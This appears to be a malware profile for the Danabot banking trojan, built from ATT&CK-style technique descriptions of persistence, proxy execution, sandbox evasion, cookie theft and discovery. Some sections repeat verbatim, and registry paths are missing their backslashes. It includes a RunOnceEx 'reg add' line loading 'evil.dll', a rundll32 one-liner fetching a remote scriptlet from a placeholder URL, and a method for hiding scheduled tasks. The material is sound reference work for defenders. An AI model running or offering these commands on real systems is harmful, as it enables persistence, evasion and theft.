Trojan-Banker.Win32.Danabot.gen

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)

Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.

Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API).

Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.

The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)

The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows Native API which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net.

PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.

Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)

Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the “run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a “Depend” key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)

Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the “run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a “Depend” key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary’s footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in Command and Scripting Interpreter functions include del on Windows and rm or unlink on Linux and macOS.

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a “Squiblydoo” and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. Non-Standard Port).(Citation: change_rdp_port_conti)

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (ex: Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade.(Citation: ESET Grandoreiro April 2020)

Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as Command and Scripting Interpreter commands and Native API functions.

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net.

Adversaries may also analyze data from local host files (ex: C:WindowsSystem32Driversetchosts or /etc/hosts) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups – Amazon Elastic Compute Cloud)

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.

Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data Destruction, Firmware Corruption, Service Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.